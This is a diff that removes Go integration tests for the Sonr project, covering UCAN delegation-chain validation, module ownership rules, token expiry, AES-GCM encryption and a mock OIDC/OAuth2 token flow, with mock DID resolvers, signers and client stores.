err = suite.svcValidator.ValidateUCANPermission(ctx, childToken, "read", "test-service")
|
||||
suite.NoError(err, "Child token should authorize read operations")
|
||||
}
|
||||
|
||||
// TestDelegationChainValidation tests multi-hop delegation chains
|
||||
func (suite *CrossModuleAuthTestSuite) TestDelegationChainValidation() {
|
||||
// Create 3-hop delegation chain: User → Service A → Service B → Service C
|
||||
|
||||
// Hop 1: User → Service A
|
||||
serviceA := "did:sonr:service-a"
|
||||
token1, err := suite.signer.CreateDelegationToken(
|
||||
suite.testUserDID,
|
||||
serviceA,
|
||||
[]ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.MultiCapability{Actions: []string{"read", "write"}},
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: suite.testUserDID},
|
||||
},
|
||||
},
|
||||
nil,
|
||||
time.Hour,
|
||||
)
|
||||
suite.Require().NoError(err)
|
||||
|
||||
// Hop 2: Service A → Service B (with attenuation)
|
||||
serviceB := "did:sonr:service-b"
|
||||
token2, err := suite.signer.CreateDelegationToken(
|
||||
serviceA,
|
||||
serviceB,
|
||||
[]ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.SimpleCapability{Action: "read"}, // Reduced to read-only
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: suite.testUserDID},
|
||||
},
|
||||
},
|
||||
[]ucan.Proof{ucan.Proof(token1)},
|
||||
time.Hour,
|
||||
)
|
||||
suite.Require().NoError(err)
|
||||
|
||||
// Hop 3: Service B → Service C (maintain same level)
|
||||
serviceC := "did:sonr:service-c"
|
||||
token3, err := suite.signer.CreateDelegationToken(
|
||||
serviceB,
|
||||
serviceC,
|
||||
[]ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.SimpleCapability{Action: "read"}, // Same level
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: suite.testUserDID},
|
||||
},
|
||||
},
|
||||
[]ucan.Proof{ucan.Proof(token2)},
|
||||
time.Hour,
|
||||
)
|
||||
suite.Require().NoError(err)
|
||||
|
||||
// Validate the complete chain
|
||||
err = suite.signer.ValidateDelegationChain([]string{token1, token2, token3})
|
||||
suite.NoError(err, "Valid 3-hop delegation chain should pass validation")
|
||||
|
||||
// Test broken chain (missing intermediate proof)
|
||||
brokenToken, err := suite.signer.CreateDelegationToken(
|
||||
serviceA, // Wrong issuer - should be serviceB
|
||||
serviceC,
|
||||
[]ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.SimpleCapability{Action: "read"},
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: suite.testUserDID},
|
||||
},
|
||||
},
|
||||
[]ucan.Proof{ucan.Proof(token1)}, // Wrong proof
|
||||
time.Hour,
|
||||
)
|
||||
suite.Require().NoError(err)
|
||||
|
||||
err = suite.signer.ValidateDelegationChain([]string{token1, token2, brokenToken})
|
||||
suite.Error(err, "Broken delegation chain should fail validation")
|
||||
}
|
||||
|
||||
// TestModuleSpecificValidation tests module-specific business rules
|
||||
func (suite *CrossModuleAuthTestSuite) TestModuleSpecificValidation() {
|
||||
ctx := context.Background()
|
||||
|
||||
// Test DWN ownership validation
|
||||
ownerToken, err := suite.ucanDelegator.CreateDelegation(
|
||||
"did:sonr:owner", // Different user
|
||||
suite.testClientDID,
|
||||
[]string{"dwn:admin"},
|
||||
time.Now().Add(time.Hour),
|
||||
)
|
||||
suite.Require().NoError(err)
|
||||
|
||||
// Owner should be able to configure protocols
|
||||
err = suite.dwnValidator.ValidateUCANPermission(ctx, ownerToken, "protocols-configure", "dwn:owner")
|
||||
suite.NoError(err, "Owner should authorize protocol configuration")
|
||||
|
||||
// Non-owner should not be able to configure protocols
|
||||
nonOwnerToken, err := suite.ucanDelegator.CreateDelegation(
|
||||
"did:sonr:non-owner",
|
||||
suite.testClientDID,
|
||||
[]string{"dwn:admin"},
|
||||
time.Now().Add(time.Hour),
|
||||
)
|
||||
suite.Require().NoError(err)
|
||||
|
||||
err = suite.dwnValidator.ValidateUCANPermission(ctx, nonOwnerToken, "protocols-configure", "dwn:owner")
|
||||
suite.Error(err, "Non-owner should not authorize protocol configuration")
|
||||
|
||||
// Test Service domain verification
|
||||
serviceOwnerToken, err := suite.ucanDelegator.CreateDelegation(
|
||||
suite.testUserDID, // Owner of test-service
|
||||
suite.testClientDID,
|
||||
[]string{"service:write"},
|
||||
time.Now().Add(time.Hour),
|
||||
)
|
||||
suite.Require().NoError(err)
|
||||
|
||||
err = suite.svcValidator.ValidateUCANPermission(ctx, serviceOwnerToken, "verify-domain", "test-service")
|
||||
suite.NoError(err, "Service owner should authorize domain verification")
|
||||
|
||||
// Non-owner should not be able to verify domain
|
||||
nonServiceOwnerToken, err := suite.ucanDelegator.CreateDelegation(
|
||||
"did:sonr:different-user",
|
||||
suite.testClientDID,
|
||||
[]string{"service:write"},
|
||||
time.Now().Add(time.Hour),
|
||||
)
|
||||
suite.Require().NoError(err)
|
||||
|
||||
err = suite.svcValidator.ValidateUCANPermission(ctx, nonServiceOwnerToken, "verify-domain", "test-service")
|
||||
suite.Error(err, "Non-owner should not authorize domain verification")
|
||||
}
|
||||
|
||||
// TestTimeBasedValidation tests time-sensitive authorization
|
||||
func (suite *CrossModuleAuthTestSuite) TestTimeBasedValidation() {
|
||||
// Create short-lived token (1 second to account for Unix timestamp precision)
|
||||
shortToken, err := suite.ucanDelegator.CreateDelegation(
|
||||
suite.testUserDID,
|
||||
suite.testClientDID,
|
||||
[]string{"vault:read"},
|
||||
time.Now().Add(1*time.Second), // 1 second expiration for Unix timestamp precision
|
||||
)
|
||||
suite.Require().NoError(err)
|
||||
|
||||
// Should work immediately
|
||||
_, err = suite.signer.VerifySignature(shortToken.Raw)
|
||||
suite.NoError(err, "Token should be valid immediately after creation")
|
||||
|
||||
// Wait for expiration (need to wait at least 2 seconds due to Unix timestamp rounding)
|
||||
time.Sleep(2 * time.Second)
|
||||
|
||||
// Should fail after expiration
|
||||
_, err = suite.signer.VerifySignature(shortToken.Raw)
|
||||
suite.Error(err, "Token should be invalid after expiration")
|
||||
|
||||
// Test not-before validation
|
||||
futureToken, err := suite.signer.CreateDelegationToken(
|
||||
suite.testUserDID,
|
||||
suite.testClientDID,
|
||||
[]ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.SimpleCapability{Action: "read"},
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: suite.testUserDID},
|
||||
},
|
||||
},
|
||||
nil,
|
||||
time.Hour,
|
||||
)
|
||||
suite.Require().NoError(err)
|
||||
|
||||
// Manually verify token structure
|
||||
parsedToken, err := suite.signer.VerifySignature(futureToken)
|
||||
suite.NoError(err, "Token should parse successfully")
|
||||
suite.NotZero(parsedToken.ExpiresAt, "Token should have expiration time")
|
||||
}
|
||||
|
||||
func TestCrossModuleAuthSuite(t *testing.T) {
|
||||
suite.Run(t, new(CrossModuleAuthTestSuite))
|
||||
}
|
||||
@@ -1,234 +0,0 @@
|
||||
package integration_test
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/rand"
|
||||
"testing"
|
||||
|
||||
"github.com/stretchr/testify/require"
|
||||
|
||||
"github.com/sonr-io/sonr/crypto/aead"
|
||||
"github.com/sonr-io/sonr/crypto/salt"
|
||||
"github.com/sonr-io/sonr/crypto/secure"
|
||||
)
|
||||
|
||||
// TestEndToEndEncryptionWorkflow tests complete encryption workflow
|
||||
func TestEndToEndEncryptionWorkflow(t *testing.T) {
|
||||
// Test data
|
||||
plaintext := []byte("sensitive data that needs protection")
|
||||
aad := []byte("additional authenticated data")
|
||||
|
||||
// Generate salt
|
||||
saltObj, err := salt.Generate(32)
|
||||
require.NoError(t, err)
|
||||
require.NotNil(t, saltObj)
|
||||
require.Equal(t, 32, saltObj.Size())
|
||||
|
||||
// Create AES-GCM cipher
|
||||
key := make([]byte, 32) // 256-bit key
|
||||
_, err = rand.Read(key)
|
||||
require.NoError(t, err)
|
||||
|
||||
cipher, err := aead.NewAESGCM(key)
|
||||
require.NoError(t, err)
|
||||
|
||||
// Encrypt data
|
||||
ciphertext, err := cipher.Encrypt(plaintext, aad)
|
||||
require.NoError(t, err)
|
||||
require.NotEqual(t, plaintext, ciphertext)
|
||||
|
||||
// Decrypt data
|
||||
decrypted, err := cipher.Decrypt(ciphertext, aad)
|
||||
require.NoError(t, err)
|
||||
require.Equal(t, plaintext, decrypted)
|
||||
|
||||
// Test tampering detection
|
||||
tamperedCiphertext := make([]byte, len(ciphertext))
|
||||
copy(tamperedCiphertext, ciphertext)
|
||||
tamperedCiphertext[len(tamperedCiphertext)-1] ^= 0xFF // Flip last byte
|
||||
|
||||
_, err = cipher.Decrypt(tamperedCiphertext, aad)
|
||||
require.Error(t, err)
|
||||
require.Contains(t, err.Error(), "authentication failed")
|
||||
}
|
||||
|
||||
// TestSecureMemoryWorkflow tests secure memory handling
|
||||
func TestSecureMemoryWorkflow(t *testing.T) {
|
||||
// Create secure bytes
|
||||
sensitiveData := []byte("password123")
|
||||
secureData := secure.FromBytes(sensitiveData)
|
||||
|
||||
// Use the data
|
||||
data := secureData.Bytes()
|
||||
require.Equal(t, sensitiveData, data)
|
||||
|
||||
// Clear the secure bytes
|
||||
secureData.Clear()
|
||||
|
||||
// Verify data is nil after clearing (Clear sets data to nil, not zeroed bytes)
|
||||
clearedData := secureData.Bytes()
|
||||
require.Nil(t, clearedData)
|
||||
}
|
||||
|
||||
// TestSaltUniqueness tests that salts are unique
|
||||
func TestSaltUniqueness(t *testing.T) {
|
||||
const numSalts = 100
|
||||
salts := make(map[string]bool)
|
||||
|
||||
for i := 0; i < numSalts; i++ {
|
||||
s, err := salt.Generate(16)
|
||||
require.NoError(t, err)
|
||||
|
||||
// Use bytes instead of String() for uniqueness check
|
||||
key := string(s.Bytes())
|
||||
require.False(t, salts[key], "Duplicate salt generated")
|
||||
salts[key] = true
|
||||
}
|
||||
}
|
||||
|
||||
// TestEncryptionWithSaltDerivation tests key derivation with salt
|
||||
func TestEncryptionWithSaltDerivation(t *testing.T) {
|
||||
password := []byte("user_password")
|
||||
plaintext := []byte("sensitive information")
|
||||
|
||||
// Generate salt
|
||||
saltObj, err := salt.Generate(32)
|
||||
require.NoError(t, err)
|
||||
saltValue := saltObj.Bytes()
|
||||
|
||||
// Derive key from password and salt (simplified for test)
|
||||
// In production, use proper KDF like PBKDF2 or Argon2
|
||||
key := make([]byte, 32)
|
||||
copy(key, password)
|
||||
for i := range key {
|
||||
if i < len(saltValue) {
|
||||
key[i] ^= saltValue[i]
|
||||
}
|
||||
}
|
||||
|
||||
// Encrypt with derived key
|
||||
cipher, err := aead.NewAESGCM(key)
|
||||
require.NoError(t, err)
|
||||
|
||||
ciphertext, err := cipher.Encrypt(plaintext, nil)
|
||||
require.NoError(t, err)
|
||||
|
||||
// Decrypt with same derived key
|
||||
decrypted, err := cipher.Decrypt(ciphertext, nil)
|
||||
require.NoError(t, err)
|
||||
require.Equal(t, plaintext, decrypted)
|
||||
|
||||
// Test with wrong salt (different key derivation)
|
||||
wrongSaltObj, err := salt.Generate(32)
|
||||
require.NoError(t, err)
|
||||
wrongSalt := wrongSaltObj.Bytes()
|
||||
|
||||
wrongKey := make([]byte, 32)
|
||||
copy(wrongKey, password)
|
||||
for i := range wrongKey {
|
||||
if i < len(wrongSalt) {
|
||||
wrongKey[i] ^= wrongSalt[i]
|
||||
}
|
||||
}
|
||||
|
||||
wrongCipher, err := aead.NewAESGCM(wrongKey)
|
||||
require.NoError(t, err)
|
||||
|
||||
_, err = wrongCipher.Decrypt(ciphertext, nil)
|
||||
require.Error(t, err)
|
||||
}
|
||||
|
||||
// TestMultipleEncryptionRounds tests multiple encryption/decryption cycles
|
||||
func TestMultipleEncryptionRounds(t *testing.T) {
|
||||
key := make([]byte, 32)
|
||||
_, err := rand.Read(key)
|
||||
require.NoError(t, err)
|
||||
|
||||
cipher, err := aead.NewAESGCM(key)
|
||||
require.NoError(t, err)
|
||||
|
||||
// Perform multiple rounds
|
||||
for i := 0; i < 100; i++ {
|
||||
plaintext := make([]byte, 64)
|
||||
_, err := rand.Read(plaintext)
|
||||
require.NoError(t, err)
|
||||
|
||||
aad := []byte("round-specific AAD")
|
||||
|
||||
ciphertext, err := cipher.Encrypt(plaintext, aad)
|
||||
require.NoError(t, err)
|
||||
|
||||
decrypted, err := cipher.Decrypt(ciphertext, aad)
|
||||
require.NoError(t, err)
|
||||
|
||||
require.Equal(t, plaintext, decrypted, "Round %d failed", i)
|
||||
}
|
||||
}
|
||||
|
||||
// TestLargeDataEncryption tests encryption of large data
|
||||
func TestLargeDataEncryption(t *testing.T) {
|
||||
// Create 1MB of random data
|
||||
largeData := make([]byte, 1024*1024)
|
||||
_, err := rand.Read(largeData)
|
||||
require.NoError(t, err)
|
||||
|
||||
key := make([]byte, 32)
|
||||
_, err = rand.Read(key)
|
||||
require.NoError(t, err)
|
||||
|
||||
cipher, err := aead.NewAESGCM(key)
|
||||
require.NoError(t, err)
|
||||
|
||||
// Encrypt large data
|
||||
ciphertext, err := cipher.Encrypt(largeData, nil)
|
||||
require.NoError(t, err)
|
||||
|
||||
// Decrypt and verify
|
||||
decrypted, err := cipher.Decrypt(ciphertext, nil)
|
||||
require.NoError(t, err)
|
||||
require.True(t, bytes.Equal(largeData, decrypted))
|
||||
}
|
||||
|
||||
// BenchmarkEndToEndEncryption benchmarks complete encryption workflow
|
||||
func BenchmarkEndToEndEncryption(b *testing.B) {
|
||||
plaintext := make([]byte, 1024) // 1KB data
|
||||
_, _ = rand.Read(plaintext)
|
||||
|
||||
key := make([]byte, 32)
|
||||
_, _ = rand.Read(key)
|
||||
|
||||
cipher, _ := aead.NewAESGCM(key)
|
||||
|
||||
b.ResetTimer()
|
||||
b.ReportAllocs()
|
||||
|
||||
for i := 0; i < b.N; i++ {
|
||||
ciphertext, _ := cipher.Encrypt(plaintext, nil)
|
||||
_, _ = cipher.Decrypt(ciphertext, nil)
|
||||
}
|
||||
}
|
||||
|
||||
// BenchmarkSaltGeneration benchmarks salt generation
|
||||
func BenchmarkSaltGeneration(b *testing.B) {
|
||||
b.ResetTimer()
|
||||
b.ReportAllocs()
|
||||
|
||||
for i := 0; i < b.N; i++ {
|
||||
_, _ = salt.Generate(32)
|
||||
}
|
||||
}
|
||||
|
||||
// BenchmarkSecureMemory benchmarks secure memory operations
|
||||
func BenchmarkSecureMemory(b *testing.B) {
|
||||
data := make([]byte, 1024)
|
||||
_, _ = rand.Read(data)
|
||||
|
||||
b.ResetTimer()
|
||||
b.ReportAllocs()
|
||||
|
||||
for i := 0; i < b.N; i++ {
|
||||
secureData := secure.FromBytes(data)
|
||||
_ = secureData.Bytes()
|
||||
secureData.Clear()
|
||||
}
|
||||
}
|
||||
@@ -1,844 +0,0 @@
|
||||
package integration
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/ed25519"
|
||||
"crypto/rand"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/stretchr/testify/suite"
|
||||
|
||||
"github.com/sonr-io/sonr/bridge/handlers"
|
||||
"github.com/sonr-io/sonr/crypto/ucan"
|
||||
)
|
||||
|
||||
// MockDIDResolver provides mock DID resolution for testing
|
||||
type MockDIDResolver struct {
|
||||
keys map[string]ed25519.PublicKey
|
||||
}
|
||||
|
||||
func NewMockDIDResolver() *MockDIDResolver {
|
||||
resolver := &MockDIDResolver{
|
||||
keys: make(map[string]ed25519.PublicKey),
|
||||
}
|
||||
|
||||
// Generate test keys for common DIDs
|
||||
testDIDs := []string{
|
||||
"did:sonr:oauth-provider",
|
||||
"did:sonr:user-chain",
|
||||
"did:sonr:client-a",
|
||||
"did:sonr:client-b",
|
||||
"did:sonr:client-c",
|
||||
"did:sonr:user",
|
||||
"did:sonr:perf-user",
|
||||
"did:sonr:user123",
|
||||
"did:sonr:test-user",
|
||||
}
|
||||
|
||||
for _, did := range testDIDs {
|
||||
pub, _, _ := ed25519.GenerateKey(rand.Reader)
|
||||
resolver.keys[did] = pub
|
||||
}
|
||||
|
||||
return resolver
|
||||
}
|
||||
|
||||
func (r *MockDIDResolver) GetPublicKey(did string) (ed25519.PublicKey, error) {
|
||||
if key, ok := r.keys[did]; ok {
|
||||
return key, nil
|
||||
}
|
||||
// Generate a new key for unknown DIDs
|
||||
pub, _, _ := ed25519.GenerateKey(rand.Reader)
|
||||
r.keys[did] = pub
|
||||
return pub, nil
|
||||
}
|
||||
|
||||
// MockOAuth2Provider provides mock OAuth2 functionality for testing
|
||||
type MockOAuth2Provider struct {
|
||||
tokens map[string]string
|
||||
}
|
||||
|
||||
func NewMockOAuth2Provider() *MockOAuth2Provider {
|
||||
return &MockOAuth2Provider{
|
||||
tokens: make(map[string]string),
|
||||
}
|
||||
}
|
||||
|
||||
func (m *MockOAuth2Provider) HandleAuthorize(w http.ResponseWriter, r *http.Request) {
|
||||
// Mock authorization handler - returns test auth code
|
||||
code := "test_auth_code_123"
|
||||
redirectURI := r.URL.Query().Get("redirect_uri")
|
||||
if redirectURI != "" {
|
||||
http.Redirect(w, r, redirectURI+"?code="+code, http.StatusFound)
|
||||
} else {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(code))
|
||||
}
|
||||
}
|
||||
|
||||
func (m *MockOAuth2Provider) HandleToken(w http.ResponseWriter, r *http.Request) {
|
||||
// Mock token handler - returns test access token with UCAN
|
||||
// Generate a mock UCAN token (simplified for testing)
|
||||
mockUCAN := "eyJhbGciOiJFZERTQSIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJkaWQ6c29ucjpvYXV0aC1wcm92aWRlciIsImF1ZCI6ImRpZDpzb25yOnVzZXIxMjMiLCJhdHQiOlt7ImNhbiI6InZhdWx0OnJlYWQifSx7ImNhbiI6ImR3bjp3cml0ZSJ9XSwiZXhwIjoxNzM2MzY0MDAwLCJubmMiOiJ0ZXN0LW5vbmNlIn0.test_signature"
|
||||
|
||||
token := map[string]interface{}{
|
||||
"access_token": "test_access_token",
|
||||
"token_type": "Bearer",
|
||||
"expires_in": 3600,
|
||||
"ucan_token": mockUCAN,
|
||||
"scope": "openid vault:read dwn:write",
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(token)
|
||||
}
|
||||
|
||||
func (m *MockOAuth2Provider) HandleUserInfo(w http.ResponseWriter, r *http.Request) {
|
||||
// Mock userinfo handler
|
||||
userInfo := map[string]interface{}{
|
||||
"sub": "did:sonr:test-user",
|
||||
"name": "Test User",
|
||||
"email": "test@sonr.id",
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(userInfo)
|
||||
}
|
||||
|
||||
// OIDCUCANFlowTestSuite tests the complete OIDC → OAuth2 → UCAN flow
|
||||
// MockBlockchainUCANSigner is a mock implementation for testing
|
||||
type MockBlockchainUCANSigner struct {
|
||||
issuerDID string
|
||||
resolver *MockDIDResolver
|
||||
}
|
||||
|
||||
func NewMockBlockchainUCANSigner(issuerDID string) *MockBlockchainUCANSigner {
|
||||
return &MockBlockchainUCANSigner{
|
||||
issuerDID: issuerDID,
|
||||
resolver: NewMockDIDResolver(),
|
||||
}
|
||||
}
|
||||
|
||||
// CreateDelegationToken creates a mock UCAN token for testing
|
||||
func (s *MockBlockchainUCANSigner) CreateDelegationToken(
|
||||
issuer string,
|
||||
audience string,
|
||||
attenuations []ucan.Attenuation,
|
||||
proofs []ucan.Proof,
|
||||
expiration time.Duration,
|
||||
) (string, error) {
|
||||
// Build attenuations array for claims
|
||||
var atts []map[string]interface{}
|
||||
for _, att := range attenuations {
|
||||
attMap := make(map[string]interface{})
|
||||
|
||||
// Handle different capability types
|
||||
switch cap := att.Capability.(type) {
|
||||
case *ucan.SimpleCapability:
|
||||
attMap["can"] = cap.Action
|
||||
case *ucan.MultiCapability:
|
||||
// For multi-capability, store all actions as a joined string
|
||||
if len(cap.Actions) > 0 {
|
||||
attMap["can"] = strings.Join(cap.Actions, ",")
|
||||
}
|
||||
}
|
||||
|
||||
// Add resource if present
|
||||
if att.Resource != nil {
|
||||
if res, ok := att.Resource.(*handlers.SimpleResource); ok {
|
||||
attMap["with"] = fmt.Sprintf("%s:%s", res.Scheme, res.Value)
|
||||
}
|
||||
}
|
||||
|
||||
atts = append(atts, attMap)
|
||||
}
|
||||
|
||||
// Create claims
|
||||
claims := map[string]interface{}{
|
||||
"iss": issuer,
|
||||
"aud": audience,
|
||||
"exp": time.Now().Add(expiration).Unix(),
|
||||
"att": atts,
|
||||
}
|
||||
|
||||
claimsJSON, _ := json.Marshal(claims)
|
||||
|
||||
// Create a simplified mock UCAN token
|
||||
token := fmt.Sprintf("eyJhbGciOiJFZERTQSIsInR5cCI6IkpXVCJ9.%s.mock_signature",
|
||||
base64.RawURLEncoding.EncodeToString(claimsJSON))
|
||||
return token, nil
|
||||
}
|
||||
|
||||
// VerifySignature verifies a mock UCAN token
|
||||
func (s *MockBlockchainUCANSigner) VerifySignature(tokenString string) (*ucan.Token, error) {
|
||||
// For testing, just check if it's a valid format
|
||||
parts := strings.Split(tokenString, ".")
|
||||
if len(parts) != 3 {
|
||||
return nil, fmt.Errorf("invalid token format")
|
||||
}
|
||||
|
||||
// Decode payload
|
||||
payload, err := base64.RawURLEncoding.DecodeString(parts[1])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var claims map[string]interface{}
|
||||
if err := json.Unmarshal(payload, &claims); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Check expiration
|
||||
if exp, ok := claims["exp"].(float64); ok {
|
||||
if time.Now().Unix() > int64(exp) {
|
||||
return nil, fmt.Errorf("token expired")
|
||||
}
|
||||
}
|
||||
|
||||
// Return a mock token
|
||||
return &ucan.Token{
|
||||
Issuer: claims["iss"].(string),
|
||||
Audience: claims["aud"].(string),
|
||||
}, nil
|
||||
}
|
||||
|
||||
// ValidateDelegationChain validates a chain of UCAN tokens
|
||||
func (s *MockBlockchainUCANSigner) ValidateDelegationChain(tokens []string) error {
|
||||
// For testing, verify each token and check for privilege escalation
|
||||
var prevCapabilities []string
|
||||
|
||||
for i, token := range tokens {
|
||||
parts := strings.Split(token, ".")
|
||||
if len(parts) != 3 {
|
||||
return fmt.Errorf("invalid token format at position %d", i)
|
||||
}
|
||||
|
||||
payload, err := base64.RawURLEncoding.DecodeString(parts[1])
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to decode token %d: %w", i, err)
|
||||
}
|
||||
|
||||
var claims map[string]interface{}
|
||||
if err := json.Unmarshal(payload, &claims); err != nil {
|
||||
return fmt.Errorf("failed to unmarshal claims for token %d: %w", i, err)
|
||||
}
|
||||
|
||||
// Check for privilege escalation (simplified for testing)
|
||||
if att, ok := claims["att"].([]interface{}); ok && i > 0 {
|
||||
for _, a := range att {
|
||||
if attMap, ok := a.(map[string]interface{}); ok {
|
||||
if cap, ok := attMap["can"].(string); ok {
|
||||
// Split comma-separated capabilities
|
||||
caps := strings.Split(cap, ",")
|
||||
for _, c := range caps {
|
||||
c = strings.TrimSpace(c)
|
||||
// Check if this capability was in the previous token
|
||||
if !contains(prevCapabilities, c) {
|
||||
return fmt.Errorf("privilege escalation detected: trying to add '%s' permission", c)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Store capabilities for next iteration
|
||||
prevCapabilities = []string{}
|
||||
if att, ok := claims["att"].([]interface{}); ok {
|
||||
for _, a := range att {
|
||||
if attMap, ok := a.(map[string]interface{}); ok {
|
||||
if cap, ok := attMap["can"].(string); ok {
|
||||
// Split and store all capabilities
|
||||
caps := strings.Split(cap, ",")
|
||||
for _, c := range caps {
|
||||
prevCapabilities = append(prevCapabilities, strings.TrimSpace(c))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func contains(slice []string, item string) bool {
|
||||
for _, s := range slice {
|
||||
if s == item {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
type OIDCUCANFlowTestSuite struct {
|
||||
suite.Suite
|
||||
oauth2Provider *MockOAuth2Provider
|
||||
ucanDelegator *handlers.UCANDelegator
|
||||
tokenExchange *handlers.TokenExchangeHandler
|
||||
refreshHandler *handlers.RefreshTokenHandler
|
||||
testServer *httptest.Server
|
||||
clientStore *MockClientStore
|
||||
tokenStore *MockTokenStore
|
||||
mockSigner *MockBlockchainUCANSigner
|
||||
}
|
||||
|
||||
// MockClientStore implements handlers.ClientStore for testing
|
||||
type MockClientStore struct {
|
||||
clients map[string]*handlers.OAuth2Client
|
||||
}
|
||||
|
||||
func NewMockClientStore() *MockClientStore {
|
||||
return &MockClientStore{
|
||||
clients: make(map[string]*handlers.OAuth2Client),
|
||||
}
|
||||
}
|
||||
|
||||
func (m *MockClientStore) GetClient(ctx context.Context, clientID string) (*handlers.OAuth2Client, error) {
|
||||
client, exists := m.clients[clientID]
|
||||
if !exists {
|
||||
return nil, handlers.ErrClientNotFound
|
||||
}
|
||||
return client, nil
|
||||
}
|
||||
|
||||
func (m *MockClientStore) ValidateClientCredentials(ctx context.Context, clientID, clientSecret string) error {
|
||||
client, exists := m.clients[clientID]
|
||||
if !exists || client.ClientSecret != clientSecret {
|
||||
return handlers.ErrInvalidClientCredentials
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// MockTokenStore implements handlers.TokenStore for testing
|
||||
type MockTokenStore struct {
|
||||
tokens map[string]*handlers.StoredToken
|
||||
}
|
||||
|
||||
func NewMockTokenStore() *MockTokenStore {
|
||||
return &MockTokenStore{
|
||||
tokens: make(map[string]*handlers.StoredToken),
|
||||
}
|
||||
}
|
||||
|
||||
func (m *MockTokenStore) GetToken(ctx context.Context, tokenID string) (*handlers.StoredToken, error) {
|
||||
token, exists := m.tokens[tokenID]
|
||||
if !exists {
|
||||
return nil, handlers.ErrTokenNotFound
|
||||
}
|
||||
return token, nil
|
||||
}
|
||||
|
||||
func (m *MockTokenStore) StoreToken(ctx context.Context, token *handlers.StoredToken) error {
|
||||
m.tokens[token.TokenID] = token
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *MockTokenStore) RevokeToken(ctx context.Context, tokenID string) error {
|
||||
delete(m.tokens, tokenID)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (suite *OIDCUCANFlowTestSuite) SetupSuite() {
|
||||
// Initialize stores
|
||||
suite.clientStore = NewMockClientStore()
|
||||
suite.tokenStore = NewMockTokenStore()
|
||||
|
||||
// Add test client
|
||||
suite.clientStore.clients["test-client"] = &handlers.OAuth2Client{
|
||||
ClientID: "test-client",
|
||||
ClientSecret: "test-secret",
|
||||
RedirectURIs: []string{"https://example.com/callback"},
|
||||
AllowedScopes: []string{"openid", "profile", "vault:read", "dwn:write"},
|
||||
Metadata: map[string]string{
|
||||
"client_did": "did:sonr:test-client",
|
||||
},
|
||||
}
|
||||
|
||||
// Initialize handlers with mock signer
|
||||
suite.mockSigner = NewMockBlockchainUCANSigner("did:sonr:oauth-provider")
|
||||
// Create a real signer for delegator and handlers (using mock resolver internally)
|
||||
realSigner, _ := handlers.NewBlockchainUCANSigner(nil, "did:sonr:oauth-provider")
|
||||
suite.ucanDelegator = handlers.NewUCANDelegator(realSigner)
|
||||
suite.oauth2Provider = NewMockOAuth2Provider()
|
||||
suite.tokenExchange = handlers.NewTokenExchangeHandler(suite.ucanDelegator, realSigner, suite.tokenStore, suite.clientStore)
|
||||
suite.refreshHandler = handlers.NewRefreshTokenHandler(suite.ucanDelegator, realSigner, suite.tokenStore, suite.clientStore)
|
||||
|
||||
// Setup test server
|
||||
mux := http.NewServeMux()
|
||||
mux.HandleFunc("/.well-known/openid-configuration", suite.handleOIDCDiscovery)
|
||||
mux.HandleFunc("/oauth/authorize", suite.oauth2Provider.HandleAuthorize)
|
||||
mux.HandleFunc("/oauth/token", suite.handleToken)
|
||||
mux.HandleFunc("/oauth/userinfo", suite.oauth2Provider.HandleUserInfo)
|
||||
|
||||
suite.testServer = httptest.NewServer(mux)
|
||||
}
|
||||
|
||||
func (suite *OIDCUCANFlowTestSuite) TearDownSuite() {
|
||||
suite.testServer.Close()
|
||||
}
|
||||
|
||||
func (suite *OIDCUCANFlowTestSuite) handleOIDCDiscovery(w http.ResponseWriter, r *http.Request) {
|
||||
discovery := map[string]interface{}{
|
||||
"issuer": suite.testServer.URL,
|
||||
"authorization_endpoint": suite.testServer.URL + "/oauth/authorize",
|
||||
"token_endpoint": suite.testServer.URL + "/oauth/token",
|
||||
"userinfo_endpoint": suite.testServer.URL + "/oauth/userinfo",
|
||||
"jwks_uri": suite.testServer.URL + "/.well-known/jwks.json",
|
||||
"scopes_supported": []string{"openid", "profile", "email", "vault:read", "vault:write", "dwn:read", "dwn:write"},
|
||||
"response_types_supported": []string{"code", "token", "id_token"},
|
||||
"grant_types_supported": []string{"authorization_code", "refresh_token", "urn:ietf:params:oauth:grant-type:token-exchange"},
|
||||
"token_types_supported": []string{"Bearer", "UCAN"},
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(discovery)
|
||||
}
|
||||
|
||||
func (suite *OIDCUCANFlowTestSuite) handleToken(w http.ResponseWriter, r *http.Request) {
|
||||
grantType := r.FormValue("grant_type")
|
||||
|
||||
switch grantType {
|
||||
case "authorization_code":
|
||||
suite.oauth2Provider.HandleToken(w, r)
|
||||
case "refresh_token":
|
||||
suite.refreshHandler.HandleRefreshToken(w, r)
|
||||
